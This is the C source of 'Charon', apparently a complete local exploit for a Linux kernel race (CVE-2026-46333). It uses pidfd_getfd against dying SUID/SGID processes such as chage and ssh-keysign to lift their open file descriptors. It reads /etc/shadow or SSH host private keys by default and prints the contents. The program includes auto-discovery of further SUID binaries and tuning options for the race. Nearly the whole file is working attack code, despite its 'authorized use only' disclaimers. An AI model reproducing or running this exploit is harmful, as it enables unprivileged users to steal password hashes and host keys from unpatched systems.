/* * ██████╗██╗ ██╗ █████╗ ██████╗ ██████╗ ███╗ ██╗ * ██╔════╝██║ ██║██╔══██╗██╔══██╗██╔═══██╗████╗ ██║ * ██║ ███████║███████║██████╔╝██║ ██║██╔██╗ ██║ * ██║ ██╔══██║██╔══██║██╔══██╗██║ ██║██║╚██╗██║ * ╚██████╗██║ ██║██║ ██║██║ ██║╚██████╔╝██║ ╚████║ * ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ * ~ ~ ~ ferries fds across the exit-mm() Styx ~ ~ ~ * CVE-2026-46333 / Linux <= 6.12.89 * * "It is a fearful thing to fall into the hands of the living God." * — Hebrews 10:31 * * Charon races pidfd_getfd(2) against a dying SUID/SGID process to * lift its open /etc/shadow file descriptor through the transient * mm-NULL window in do_exit(): * * do_exit() * ├── exit_mm() ← task->mm = NULL * ├── ... ← __ptrace_may_access() now lies * └── exit_files() ← fd table reaped * * The kernel's __ptrace_may_access treats mm==NULL as "kernel thread, * never dumpable" and short-circuits the dumpable check. A dying * userspace SUID/SGID process is briefly indistinguishable from a * kernel thread in that test, so pidfd_getfd(2) succeeds against it * and returns whatever fds it still has open before exit_files() runs. * * If the bait binary opened /etc/shadow and then setreuid'd to the * attacker uid before exiting, Charon walks home with the fd. * * Mainline fix: 31e62c2ebbfd (Linus, 2026-05-14) * Disclosure: Qualys → oss-security 2026-05-15 * * Educational and authorized-defensive use only. */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef __NR_pidfd_open #define __NR_pidfd_open 434 #endif #ifndef __NR_pidfd_getfd #define __NR_pidfd_getfd 438 #endif #define CHARON_VERSION "1.1.0" static const char BANNER[] = "\n" " \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97" "\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 " "\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 " "\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 " "\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\n" "\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d" "\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91" "\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97" "\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97" "\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97" "\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n" "\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91" "\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91" "\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x9d" "\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91" "\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n" "\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91" "\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91" "\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x90\xe2\x95\x90\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97" "\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91" "\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n" "\xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x97" "\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91" "\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91" "\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x96\x88\xe2\x96\x88\xe2\x95\x91" "\xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x94\xe2\x95\x9d" "\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91 \xe2\x95\x9a\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x96\x88\xe2\x95\x91\n" " \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d" "\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d" "\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d" "\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d " "\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d " "\xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x90\xe2\x95\x90\xe2\x95\x9d\n" " ~ ~ ~ ferries fds across the exit-mm() Styx ~ ~ ~\n" " CVE-2026-46333 / Linux <= 6.12.89\n" "\n"; /* A bait is a SUID/SGID binary that opens FILE before dropping creds * and exiting. ARGV makes it open FILE deterministically. */ struct bait { const char *path; const char *file; const char *args[6]; /* argv terminated by NULL */ }; static const struct bait builtin_baits[] = { /* chage -l opens /etc/shadow on Debian/Ubuntu (SGID-shadow) * and on RHEL family (SUID-root). Either way the dumpable=0 flag * is set on the dying process — the bug bypasses the check. */ { "/usr/bin/chage", "/etc/shadow", { "chage", "-l", "root", NULL } }, { "/usr/sbin/chage", "/etc/shadow", { "chage", "-l", "root", NULL } }, /* ssh-keysign opens the host private keys when invoked even with * no args (it bails after the open if HostbasedAuthentication is * off, but we only need it to OPEN the file). */ { "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ecdsa_key", { "ssh-keysign", NULL } }, { "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_ed25519_key", { "ssh-keysign", NULL } }, { "/usr/lib/openssh/ssh-keysign", "/etc/ssh/ssh_host_rsa_key", { "ssh-keysign", NULL } }, { "/usr/libexec/openssh/ssh-keysign", "/etc/ssh/ssh_host_ecdsa_key", { "ssh-keysign", NULL } }, { NULL, NULL, { NULL } } }; /* Auto-discovery search roots and the SUID/SGID names we refuse to * invoke (would prompt for input, hang waiting, or mutate state). */ static const char *const auto_search_roots[] = { "/usr/bin", "/usr/sbin", "/usr/local/bin", "/usr/local/sbin", "/usr/lib/openssh", "/usr/libexec", "/usr/libexec/openssh", "/bin", "/sbin", NULL }; static const char *const auto_skip_names[] = { "su", "sudo", "doas", "pkexec", "newgrp", "mount", "umount", "fusermount", "fusermount3", "ping", "ping6", "traceroute", "traceroute6", NULL }; /* Argv patterns we try against each auto-discovered binary. */ static const char *const auto_arg_patterns[][4] = { { "-l", "root", NULL }, /* chage / passwd -l root */ { "-S", "root", NULL }, /* passwd -S root */ { "--version", NULL }, /* most tools, fast + safe */ { NULL }, /* no args (some tools open files on startup) */ }; /* CLI state */ static const char *opt_target = NULL; static int opt_quiet = 0; static int opt_verbose = 0; static int opt_rounds = 500; static int opt_inner = 30000; static int opt_auto = 0; static int opt_list = 0; /* Stats spanning all hunt() invocations. */ static unsigned long stat_forks = 0; static unsigned long stat_getfds = 0; /* pidfd_getfd calls */ static unsigned long stat_getfd_ok = 0; /* pidfd_getfd that returned >= 0 */ static unsigned long stat_target_hits = 0; /* fd's readlink matched want_file */ static void msg(const char *prefix, const char *fmt, ...) { if (opt_quiet) return; va_list ap; fprintf(stderr, "%s ", prefix); va_start(ap, fmt); vfprintf(stderr, fmt, ap); va_end(ap); fputc('\n', stderr); fflush(stderr); } static int dump_fd(int fd) { char buf[8192]; ssize_t n; lseek(fd, 0, SEEK_SET); while ((n = read(fd, buf, sizeof(buf))) > 0) if (fwrite(buf, 1, (size_t)n, stdout) != (size_t)n) return -1; fflush(stdout); return n < 0 ? -1 : 0; } static int bait_present(const char *path) { struct stat st; if (stat(path, &st) != 0) return 0; if (!S_ISREG(st.st_mode)) return 0; if (!(st.st_mode & (S_ISUID | S_ISGID))) return 0; return 1; } /* Returns: * 0 success — file contents on stdout * -ENOENT bait not present / lacks setuid|setgid * -ETIME primitive fired but target file wasn't in the fd table * -EPERM pidfd_getfd never succeeded — kernel likely patched */ static int hunt(const char *path, const char *want_file, const char *const argv[]) { if (!bait_present(path)) return -ENOENT; unsigned long getfd_ok_before = stat_getfd_ok; for (int round = 0; round < opt_rounds; round++) { pid_t c = fork(); if (c < 0) { msg("[!]", "fork: %s", strerror(errno)); return -1; } if (c == 0) { int dn = open("/dev/null", O_RDWR); if (dn >= 0) { dup2(dn, 1); dup2(dn, 2); close(dn); } execv(path, (char *const *)argv); _exit(127); } stat_forks++; int pfd = syscall(__NR_pidfd_open, c, 0); if (pfd < 0) { waitpid(c, NULL, 0); continue; } int got = -1; for (int a = 0; a < opt_inner && got < 0; a++) { for (int i = 3; i < 32; i++) { int s = syscall(__NR_pidfd_getfd, pfd, i, 0); stat_getfds++; if (s < 0) continue; stat_getfd_ok++; char p[512] = {0}, lk[64]; snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s); ssize_t n = readlink(lk, p, sizeof(p) - 1); if (n > 0) p[n] = 0; if (strstr(p, want_file)) { if (opt_verbose) msg("[+]", "hit fd %d -> %s round=%d try=%d", i, p, round, a); got = s; break; } close(s); } } if (got >= 0) { stat_target_hits++; int rc = dump_fd(got); close(got); close(pfd); kill(c, SIGKILL); waitpid(c, NULL, 0); if (opt_verbose) msg("[#]", "stats: %lu forks, %lu getfds (%lu ok), %lu target hits", stat_forks, stat_getfds, stat_getfd_ok, stat_target_hits); return rc; } close(pfd); /* Some baits (ssh-agent, daemons) won't exit on their own — * force them so waitpid doesn't block this whole hunt. */ kill(c, SIGKILL); waitpid(c, NULL, 0); } if (stat_getfd_ok == getfd_ok_before) return -EPERM; return -ETIME; } /* Walk standard SUID/SGID roots and try each binary as a bait. * Uses an aggressive per-bait round budget (auto_rounds) so a full * sweep finishes in seconds even when nothing matches. */ static int auto_discover(const char *want_file, int just_list) { int discovered = 0, attempted = 0, primitive_worked = 0; /* Save user-set values; restore on exit. */ int saved_rounds = opt_rounds; int saved_inner = opt_inner; if (!just_list) { /* Per-bait budget for auto mode: keep tight so the sweep is fast. * Each round is ~1 successful fork+exec + opt_inner * 29 getfd calls. */ if (opt_rounds > 5) opt_rounds = 5; if (opt_inner > 2000) opt_inner = 2000; } time_t auto_deadline = time(NULL) + (just_list ? 0 : 60); /* 60s budget */ for (const char *const *root = auto_search_roots; *root; root++) { DIR *d = opendir(*root); if (!d) continue; struct dirent *e; while ((e = readdir(d)) != NULL) { if (e->d_name[0] == '.') continue; char path[512]; int n = snprintf(path, sizeof(path), "%s/%s", *root, e->d_name); if (n < 0 || n >= (int)sizeof(path)) continue; struct stat st; if (lstat(path, &st) != 0) continue; if (!S_ISREG(st.st_mode)) continue; if (!(st.st_mode & (S_ISUID | S_ISGID))) continue; int skip = 0; for (const char *const *s = auto_skip_names; *s; s++) if (!strcmp(e->d_name, *s)) { skip = 1; break; } if (skip) continue; discovered++; if (just_list) { printf(" %s (mode %04o, %s)\n", path, st.st_mode & 07777, (st.st_mode & S_ISUID) ? "SUID" : "SGID"); continue; } for (size_t ai = 0; ai < sizeof auto_arg_patterns / sizeof auto_arg_patterns[0]; ai++) { const char *argv[6] = { e->d_name }; int k = 1; for (int x = 0; auto_arg_patterns[ai][x] && k < 5; x++) argv[k++] = auto_arg_patterns[ai][x]; argv[k] = NULL; if (opt_verbose) { char arghint[64] = ""; for (int x = 1; argv[x] && x < 5; x++) { strncat(arghint, " ", sizeof(arghint)-strlen(arghint)-1); strncat(arghint, argv[x], sizeof(arghint)-strlen(arghint)-1); } msg("[auto]", "trying %s%s", path, arghint); } attempted++; int rc = hunt(path, want_file, argv); if (rc == 0) { msg("[+]", "auto-discovered working bait: %s", path); closedir(d); opt_rounds = saved_rounds; opt_inner = saved_inner; return 0; } if (rc != -EPERM && rc != -ENOENT) primitive_worked = 1; if (time(NULL) > auto_deadline) { msg("[!]", "60s auto-scan budget exhausted (%d baits tried)", attempted); closedir(d); goto auto_done; } } } closedir(d); } auto_done:; /* Restore user budgets. */ opt_rounds = saved_rounds; opt_inner = saved_inner; if (just_list) { fprintf(stderr, "\n discovered %d SUID/SGID binaries in standard roots\n" " (use --auto to try each as a bait for %s)\n", discovered, want_file ? want_file : "/etc/shadow"); return 0; } if (opt_verbose) msg("[auto]", "scan complete: %d baits tried, %lu fds lifted, %lu hits", attempted, stat_getfd_ok, stat_target_hits); if (!primitive_worked && stat_getfd_ok == 0) return -EPERM; return -ETIME; } static void usage(const char *prog) { fprintf(stderr, "CHARON %s — ferries fds across the exit-mm() Styx (CVE-2026-46333)\n" "\n" "Usage: %s [options]\n" "\n" " -t, --target FILE file to read (default: /etc/shadow)\n" " -r, --rounds N max rounds per bait (default: 500)\n" " -i, --inner N inner getfd attempts (default: 30000)\n" " -a, --auto if built-in baits fail, scan SUID/SGID dirs\n" " -L, --list-baits enumerate candidate baits and exit\n" " -q, --quiet no banner, no progress\n" " -v, --verbose per-hit + final stats\n" " --version print version and exit\n" " -h, --help this help\n" "\n" "Exit codes:\n" " 0 success — file contents on stdout\n" " 1 no bait on this system opens the requested file\n" " 2 kernel appears patched (CVE-2026-46333 closed)\n" " 3 ran out of rounds without a hit (transient — try -r 5000)\n" " 4 CLI / IO error\n" "\n" "For authorized security testing and defensive research only.\n", CHARON_VERSION, prog); } int main(int argc, char **argv) { static const struct option opts[] = { {"target", required_argument, 0, 't'}, {"rounds", required_argument, 0, 'r'}, {"inner", required_argument, 0, 'i'}, {"auto", no_argument, 0, 'a'}, {"list-baits", no_argument, 0, 'L'}, {"quiet", no_argument, 0, 'q'}, {"verbose", no_argument, 0, 'v'}, {"version", no_argument, 0, 1 }, {"help", no_argument, 0, 'h'}, {0,0,0,0} }; int o; while ((o = getopt_long(argc, argv, "t:r:i:aLqvh", opts, NULL)) != -1) { switch (o) { case 't': opt_target = optarg; break; case 'r': opt_rounds = atoi(optarg); break; case 'i': opt_inner = atoi(optarg); break; case 'a': opt_auto = 1; break; case 'L': opt_list = 1; break; case 'q': opt_quiet = 1; break; case 'v': opt_verbose = 1; break; case 1 : printf("charon %s\n", CHARON_VERSION); return 0; case 'h': usage(argv[0]); return 0; default : usage(argv[0]); return 4; } } if (!opt_target) opt_target = "/etc/shadow"; if (opt_rounds < 1 || opt_inner < 1) { usage(argv[0]); return 4; } if (!opt_quiet && !opt_list) fputs(BANNER, stderr); if (opt_list) { fprintf(stderr, " built-in baits for %s:\n", opt_target); int builtin_count = 0; for (const struct bait *b = builtin_baits; b->path; b++) { if (strcmp(b->file, opt_target) != 0) continue; const char *status = bait_present(b->path) ? "OK" : "MISSING"; fprintf(stderr, " [%s] %s\n", status, b->path); builtin_count++; } if (!builtin_count) fprintf(stderr, " (none — try --auto)\n"); fprintf(stderr, "\n discovered SUID/SGID candidates in standard roots:\n"); return auto_discover(opt_target, /*just_list=*/1); } /* Phase 1: try built-in baits whose file matches the request. */ int any_present = 0, all_patched = 1; for (const struct bait *b = builtin_baits; b->path; b++) { if (strcmp(b->file, opt_target) != 0) continue; if (!bait_present(b->path)) continue; any_present = 1; msg("[*]", "bait %s target %s", b->path, opt_target); int rc = hunt(b->path, opt_target, b->args); if (rc == 0) return 0; if (rc != -EPERM) all_patched = 0; } /* Phase 2: auto-discover if asked, OR if no built-in bait matched. */ if (opt_auto || !any_present) { if (opt_auto) msg("[*]", "built-in baits exhausted, auto-discovering..."); else msg("[*]", "no built-in bait opens %s, trying --auto", opt_target); int rc = auto_discover(opt_target, /*just_list=*/0); if (rc == 0) return 0; if (rc != -EPERM) all_patched = 0; } if (!any_present && !opt_auto) { msg("[!]", "no built-in bait opens %s — re-run with --auto", opt_target); return 1; } if (all_patched && stat_getfd_ok == 0) { msg("[!]", "%lu pidfd_getfd calls across %lu forks, none succeeded", stat_getfds, stat_forks); msg("[!]", "kernel is patched for CVE-2026-46333 (fix 31e62c2ebbfd)"); return 2; } msg("[!]", "primitive fires (%lu fds lifted) but none pointed to %s", stat_getfd_ok, opt_target); msg("[!]", "try -r 5000, -t , or --auto"); return 3; }